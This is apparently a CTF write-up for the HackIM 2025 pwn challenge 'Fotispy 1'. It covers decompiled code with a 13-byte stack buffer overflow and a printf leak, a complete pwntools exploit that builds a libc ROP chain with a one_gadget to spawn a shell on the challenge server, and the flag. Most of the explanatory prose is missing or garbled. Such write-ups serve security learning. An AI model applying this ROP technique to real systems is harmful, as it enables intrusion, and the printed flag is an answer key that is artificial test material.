┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Write-ups: Nullcon Berlin HackIM 2025 CTF
~ CuB3y0nd
# Fotispy 1

## Information

- Category: Pwn
- Points: 500

## Description

> Spotify with a GUI? A true hacker only needs the terminal.
> Note: Despite the naming, these 7 challenges can be solved in any order and do
 not depend on each other.

## Write-up



```c
00000000 struct Userdata // sizeof=0x18
00000000 {
00000000     char *username;
00000008     char *password;
00000010     struct Favorite *favorites;
00000018 };

00000000 struct Favourite // sizeof=0x10
00000000 {
00000000     struct Favourite *next;
00000008     struct Song *song;
00000010 };

00000000 struct Song // sizeof=0x30
00000000 {
00000000     char *title;
00000008     int title_len;
0000000C     // padding byte
0000000D     // padding byte
0000000E     // padding byte
0000000F     // padding byte
00000010     char *album;
00000018     int album_len;
0000001C     // padding byte
0000001D     // padding byte
0000001E     // padding byte
0000001F     // padding byte
00000020     char *from;
00000028     int from_len;
0000002C     // padding byte
0000002D     // padding byte
0000002E     // padding byte
0000002F     // padding byte
00000030 };
```

 memcpy  dest dest  13 怀 BOF


:::tip
 display  favourite 
 while  favourite 
:::

```c del={4, 22}
int display_fav()
{
  struct Favourite *v0; // rax
  char dest[13]; // [rsp+Bh] [rbp-15h] BYREF
  Favourite *favorites; // [rsp+18h] [rbp-8h]

  if ( login_idx == -1 )
  {
    LODWORD(v0) = puts("[-] No user has logged in yet.");
  }
  else
  {
    favorites = (Favourite *)users[(unsigned __int8)login_idx]->favorites;
    memset(dest, 0, sizeof(dest));
    LODWORD(v0) = puts("[~] Your favorites:");
    while ( favorites )
    {
      memcpy(dest, favorites->song->title, (unsigned int)favorites->song->title_
len);
      printf("    - Song: %s", dest);
      memcpy(dest, favorites->song->album, (unsigned int)favorites->song->album_
len);
      printf(" - %s", dest);
      memcpy(dest, favorites->song->from, (unsigned int)favorites->song->from_le
n);
      printf(" - %sn", dest);
      v0 = favorites->next;
      favorites = favorites->next;
    }
  }
  return (int)v0;
}
```

 `add_song`  256  256
 `display_fav` BOF  ROP 

```c del={22, 24, 26, 28}
int add_song()
{
  struct Userdata *v0; // rax
  struct Favorite *v2; // [rsp+8h] [rbp-38h]
  struct Song *song; // [rsp+10h] [rbp-30h]
  int from_len; // [rsp+1Ch] [rbp-24h]
  int album_len; // [rsp+20h] [rbp-20h]
  int title_len; // [rsp+24h] [rbp-1Ch]
  char *album; // [rsp+28h] [rbp-18h]
  char *from; // [rsp+30h] [rbp-10h]
  char *title; // [rsp+38h] [rbp-8h]

  if ( login_idx == -1 )
  {
    LODWORD(v0) = puts("[-] No user has logged in yet.");
  }
  else
  {
    title = (char *)calloc(256uLL, 1uLL);
    from = (char *)calloc(256uLL, 1uLL);
    album = (char *)calloc(256uLL, 1uLL);
    printf("[DEBUG] %pn", &printf);
    printf("[~] Please enter a song title: ");
    title_len = readn((__int64)title, 256LL);
    printf("[~] Please enter a who %s is from: ", title);
    album_len = readn((__int64)album, 256LL);
    printf("[~] Please enter which album %s is on: ", title);
    from_len = readn((__int64)from, 256LL);
    song = (struct Song *)calloc(48uLL, 1uLL);
    song->from = from;
    song->from_len = from_len;
    song->title = title;
    song->title_len = title_len;
    song->album = album;
    song->album_len = album_len;
    v2 = (struct Favorite *)calloc(16uLL, 1uLL);
    *((_QWORD *)v2 + 1) = song;
    *(_QWORD *)v2 = users[(unsigned __int8)login_idx]->favorites;
    v0 = users[(unsigned __int8)login_idx];
    v0->favorites = v2;
  }
  return (int)v0;
}
```

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    remote,
    u64,
)

FILE = "./fotispy1"
HOST, PORT = "52.59.124.14", 5191

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = ELF("./libc.so.6")


def register(target, username, password):
    target.sendlineafter(b"Please enter your choice [E]: ", b"0")
    target.sendlineafter(b"username: ", username)
    target.sendlineafter(b"password: ", password)


def login(target, username, password):
    target.sendlineafter(b"Please enter your choice [E]: ", b"1")
    target.sendlineafter(b"username: ", username)
    target.sendlineafter(b"password: ", password)


def leak(target):
    target.recvuntil(b"[DEBUG] ")
    return int(target.recvline().strip(), 16)


def add(target, song_title, song_from, song_on):
    target.sendlineafter(b"Please enter your choice [E]: ", b"2")
    printf_addr = leak(target)

    target.sendlineafter(b"title: ", song_title)
    target.sendlineafter(b"from: ", song_from)
    target.sendlineafter(b"on: ", song_on)
    return printf_addr


def display(target):
    target.sendlineafter(b"Please enter your choice [E]: ", b"3")


def launch():
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)
    return target


def main():
    target = launch()

    register(target, b"admin", b"admin")
    login(target, b"admin", b"admin")
    printf_addr = add(target, b"a", b"a", b"a")
    libc.address = printf_addr - libc.sym["printf"]

    payload = b"A" * 0xD
    add(target, b"a", b"a", payload)
    display(target)

    target.recvuntil(b"x0a")
    target.recvuntil(b"x0a")
    favourite_addr = u64(target.recvuntil(b"x0a").strip()[-4:].ljust(0x8, b"x00"
))

    pop_rdi = libc.address + 0x00000000000277E5
    one_gadget = libc.address + 0xD515F
    payload = flat(
        b"A" * 0xD,
        favourite_addr,
        elf.bss(),
        pop_rdi,
        0x0,
        one_gadget,
    )
    add(target, b"a", b"a", payload)
    display(target)

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`ENO{3v3ry_r0p_ch41n_st4rts_s0m3wh3r3}`]